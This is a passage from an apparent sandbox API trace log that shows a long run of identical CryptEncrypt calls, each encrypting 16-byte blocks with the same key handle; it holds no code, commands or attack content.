pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.703] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.704] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.705] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.706] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: 